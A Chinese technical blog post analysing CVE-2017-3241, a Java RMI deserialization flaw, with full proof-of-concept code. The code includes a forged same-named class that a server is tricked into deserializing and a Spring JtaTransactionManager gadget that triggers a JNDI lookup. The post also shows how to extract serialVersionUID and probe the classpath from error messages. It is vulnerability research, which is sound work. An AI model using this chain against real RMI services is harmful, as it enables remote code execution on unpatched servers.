1. 程式人生 > >Java RMI遠端反序列化任意類及遠端程式碼執行解析(CVE-2017-3241 )

Java RMI遠端反序列化任意類及遠端程式碼執行解析(CVE-2017-3241 )

本打算慢慢寫出來的,但前幾天發現國外有研究員發了一篇關於這個CVE的文章,他和我找到的地方很相似。然而不知道是不是Oracle認為是同一個漏洞然後合併了CVE,還是說我找錯了CVE。

總之,先簡單描述一下漏洞:對於任何一個以物件為引數的RMI介面,你都可以發一個自己構建的物件,迫使伺服器端將這個物件按任何一個存在於class path中的可序列化類來反序列化。聽起來可能有點繞,請往下看。

就直接上問題程式碼了。在Java RMI的sun.rmi.server.UnicastRef類中,有如下一段程式碼:

300    protected static Object More ...unmarshalValue(Class<?> type, ObjectInput in
) 301        throws IOException, ClassNotFoundException 302    { 303        if (type.isPrimitive()) { 304            if (type == int.class) { 305                return Integer.valueOf(in.readInt()); 306            } else if (type == boolean.class) { 307                return Boolean.valueOf(in.readBoolean()); 308
           } else if (type == byte.class) { 309                return Byte.valueOf(in.readByte()); 310            } else if (type == char.class) { 311                return Character.valueOf(in.readChar()); 312            } else if (type == short.class) { 313                return Short.valueOf(in.readShort()); 314
           } else if (type == long.class) { 315                return Long.valueOf(in.readLong()); 316            } else if (type == float.class) { 317                return Float.valueOf(in.readFloat()); 318            } else if (type == double.class) { 319                return Double.valueOf(in.readDouble()); 320            } else { 321                throw new Error("Unrecognized primitive type: " + type); 322            } 323        } else { 324            return in.readObject(); 325        } 326    }

看324行,如果你熟悉java反序列化漏洞,看到此你應該就可以激動了。該程式碼直接呼叫readObject,且在原生Java類裡。結合2016 black hat上那個spring-tx.jar或者之前apache common中的類,都可以實現遠端程式碼執行。spring-tx裡的那個我實驗成功了,且Spring rmi中繼承了這個漏洞。但Spring team表示不修,和他們沒關係。。。

其實寫到這,很多技術大牛已經可以自己找出怎麼黑了。下面只是簡單寫寫我如何通過正常Java RMI程式來攻擊的,因為我覺得這招還是比較淫蕩的。

以下是一個正常的伺服器端介面,介面引數為Message物件,Message物件是要被序列化的物件:

public interface Services extends java.rmi.Remote
{
    String sendMessage(Message msg) throws RemoteException;
}

public class Message implements Serializable {
    private String msg;
    public Message()
    {
    }
    
    public String getMessage() {
        System.out.println("Processing message: "+msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
    /*
     * server will tell the serialVersionUID for first run, then just put it below
     */
    private final static long serialVersionUID = 1311618551071721443L;
}

伺服器端程式,sendMessage介面實現只是呼叫getMessage列印字串

public class RMIServer
   implements Services {
   public RMIServer() throws RemoteException {
   }

   public static void main(String args[]) throws Exception {
       System.out.println("RMI server started");
       RMIServer obj = new RMIServer();
        try {
         Services stub = (Services) UnicastRemoteObject.exportObject(obj,0);
           Registry reg;
           try {
               reg = LocateRegistry.createRegistry(1099);
               System.out.println("java RMI registry created.");
           } catch(Exception e) {
             System.out.println("Using existing registry");
             reg = LocateRegistry.getRegistry();
           }
         reg.rebind("RMIServer", stub);
       } catch (RemoteException e) {
         e.printStackTrace();
       }
   }
  @Override
  public String sendMessage(Message msg) throws RemoteException {
      return msg.getMessage();
  }
}

假設伺服器端類路徑裡還存在一個PublicKnown類,比如spring或者apache common包裡的某個類:)。這種類大部分情況下會被開發人員會一起打包進專案,但從來不用:

package org.xfei.thirdparty;
public class PublicKnown implements Serializable {
    private void readObject(java.io.ObjectInputStream stream)
            throws  ClassNotFoundException, IOException {
        stream.defaultReadObject();
        System.out.println("Server object initializing.....");
    }
}

如上,該類自己實現了一個readObject方法,用來做XXX事情。。。

以下是正常的客戶端程式碼:

public class RMIClient {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1");
        Services obj = (Services) registry.lookup("RMIServer");
        Message normal = new Message();
        normal.setMessage("Hello");
        System.out.println(obj.sendMessage(normal));
    }
}

輸出我就不放了,就是列印個Hello。

好了,如何攻擊呢?

首先在客戶端程式裡當然要有Message類,而Message類基本應該是公開已知的。然後,雖然Spring tx和Apache common都是開源的,但我們先假設攻擊者不知道原始碼,但知道PublicKnown的類名和包名,於是他在客戶端裡構建如下的一個類:

package org.xfei.thirdparty;

import java.io.IOException;
import java.io.Serializable;

import org.xfei.pojo.Message;

public class PublicKnown extends Message  implements Serializable{
    private final static long serialVersionUID = 7179259861090880402L;
}

重點是包名,類名必須一致,且繼承Message,serialVersionUID可以先不知道,之後能找出來。

然後改一改客戶端程式:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import org.xfei.pojo.Message;
import org.xfei.thirdparty.PublicKnown;

public class RMIClient {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1");
        Services obj = (Services) registry.lookup("RMIServer");
        PublicKnown malicious = new PublicKnown();
        malicious.setMessage("haha");
        
        System.out.println(obj.sendMessage(malicious));
    }
}

伺服器端端的輸出如下(直接從報告裡拷貝過來的截圖):

serverdemo1.PNG

也就是說,伺服器端在接收到客戶端傳送的物件後會按PublicKnown類來反序列化,然後呼叫PublicKnown的readObject方法。

至此,如何配合Spring-tx.jar裡的那個JtaTransactionManager類實現遠端程式碼執行我想大家也知道了。把JtaTransactionManager原始碼抄一份,讓其繼承Message類或者實現Message實現了的介面(如果有)就行。兩種我都試驗過可行。哦,對了,在JtaTransactionManager中你還需要控制userTransactionName變數的值,直接寫在客戶端程式碼裡就行了,神奇的伺服器端會用客戶端提供的變數值和伺服器端定義的readObject去執行。

還剩最後一個問題,serialVersionUID怎麼得到?在我實驗的時候,第一次發PublicKnown類過去的時候不要包含這個變數,伺服器端會返回一個錯誤資訊給你,錯誤資訊裡會帶有這個值。。。。。。

且根據不同的錯誤資訊,你還可以知道你的目標類是否存在於伺服器的類路徑裡。

雖然Oracle已經發了補丁,但我打賭很多地方是不會升級JDK的。。。。

要是有類似於JtaTransactionManager這種可以配合使用的類,還請大家共享一下呀!

例子1:原理上面說了,補一張專案截圖:

normal.png

忽略裡面和spring相關的包,那些是為了下面的例子在做準備。這個例子中的程式碼都是拷貝上面我貼的。你還可以在伺服器端的PublicKnown中加個本地變數,並在readObject方法中輸出,然後在客戶端的PublicKnown中加個同樣的變數,賦值,傳到伺服器端,你會看到變數值會在伺服器端被輸出出來。

上面也提到不知道伺服器端的serialVersionUID,但伺服器端會在出現任何異常的情況下把異常資訊返回到客戶端,如下:

arg.png

例子2:利用JtaTransactionManager進行JNDI注入的例子:

malicious.png

返回到客戶端的部分異常資訊(我懶,沒有掛個物件在8080埠):

Exception in thread "main" org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://127.0.0.1:8080/object]; nested exception is javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: 
    java.net.ConnectException: Connection refused: connect]
    at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:574)
    at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
    at org.springframework.transaction.jta.JtaTransactionManager.readObject(JtaTransactionManager.java:1206)
        ..................................
    at org.xfei.client.RMIClient.main(RMIClient.java:19)
Caused by: javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: 
    java.net.ConnectException: Connection refused: connect]
    at com.sun.jndi.rmi.registry.RegistryContext.lookup(Unknown Source)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(Unknown Source)
    at javax.naming.InitialContext.lookup(Unknown Source)
    at org.springframework.jndi.JndiTemplate$1.doInContext(JndiTemplate.java:155)
    at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:87)
    at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:152)
    at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179)
    at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:571)
    at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
        .................................................................
Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: 
    java.net.ConnectException: Connection refused: connect
    at sun.rmi.transport.tcp.TCPEndpoint.newSocket(Unknown Source)
    at sun.rmi.transport.tcp.TCPChannel.createConnection(Unknown Source)
    at sun.rmi.transport.tcp.TCPChannel.newConnection(Unknown Source)
    at sun.rmi.server.UnicastRef.newCall(Unknown Source)
    at sun.rmi.registry.RegistryImpl_Stub.lookup(Unknown Source)
    ... 31 more
Caused by: java.net.ConnectException: Connection refused: connect
    at java.net.DualStackPlainSocketImpl.connect0(Native Method)
    at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source)
    at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source)
    at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source)
    at java.net.AbstractPlainSocketImpl.connect(Unknown Source)
    at java.net.PlainSocketImpl.connect(Unknown Source)
    at java.net.SocksSocketImpl.connect(Unknown Source)
    at java.net.Socket.connect(Unknown Source)
    at java.net.Socket.connect(Unknown Source)
    at java.net.Socket.<init>(Unknown Source)
    at java.net.Socket.<init>(Unknown Source)
    at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(Unknown Source)
    at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(Unknown Source)
    ... 36 more

客戶端的JtaTransactionManager程式碼如下:

package org.springframework.transaction.jta;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.List;
import java.util.Properties;
import javax.naming.NamingException;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.xfei.pojo.Message;


@SuppressWarnings("serial")
public class JtaTransactionManager extends Message
        implements  Serializable {
    public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
    public final static long  serialVersionUID = 4720255569299536580L;
    private String userTransactionName;
    public void setUserTransactionName(String userTransactionName) {
        this.userTransactionName = userTransactionName;
    }

}



Message有稍做修改:

package org.xfei.pojo;

import java.io.Serializable;

import org.springframework.transaction.TransactionDefinition;
import org.springframework.transaction.support.AbstractPlatformTransactionManager;
import org.springframework.transaction.support.DefaultTransactionStatus;

public class Message extends AbstractPlatformTransactionManager implements Serializable {
    private String msg;
    public Message()
    {
    }
    
    public String getMessage() {
        System.out.println("Processing message: "+msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
    /*
     * server will tell the serialVersionUID for first run, then just put it below
     */
    private final static long serialVersionUID = 1311618551071721443L;
    @Override
    protected void doBegin(Object arg0, TransactionDefinition arg1)
             {
        // TODO Auto-generated method stub
        
    }

    @Override
    protected void doCommit(DefaultTransactionStatus arg0)
            {
        // TODO Auto-generated method stub
        
    }

    @Override
    protected Object doGetTransaction() {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    protected void doRollback(DefaultTransactionStatus arg0)
         {
        // TODO Auto-generated method stub
        
    }
}

我以前的例子是在Spring RMI中測試的,做起來比這個順利多了。這次是單獨建Java專案測試。。。。

需要主意以下幾點:

1,當你把假的JtaTransactionManager物件發到伺服器端的時候,伺服器端其實也要各種初始化,所以會依賴到各種Spring的包,還有一個Apapche common的logger以及jta包。所以伺服器端不是單有個Spring-tx.jar就能成功攻擊的,但Spring專案裡這幾個依賴包出現的機率比spring-tx.jar高得多。 

2,客戶端編譯的時候似乎也依賴幾個類,我直接把所有spring jar包都放進去了。

3,看到截圖,有的小夥伴可能會質疑這個是客戶端編譯的錯誤。其實我剛執行出來的時候也這麼質疑的。。。但這其實是伺服器端發過來的異常資訊。

首先,initUserTransactionAndTransactionManager是被呼叫了的.。這個方法只會是在readObject中被呼叫,客戶端哪裡有呼叫readObject

其次,客戶端JtaTransactionManager程式碼我是改過的,根本沒有相關程式碼。

最後,客戶端jar包裡的JtaTransactionManager類我已經刪了:

malicious2.png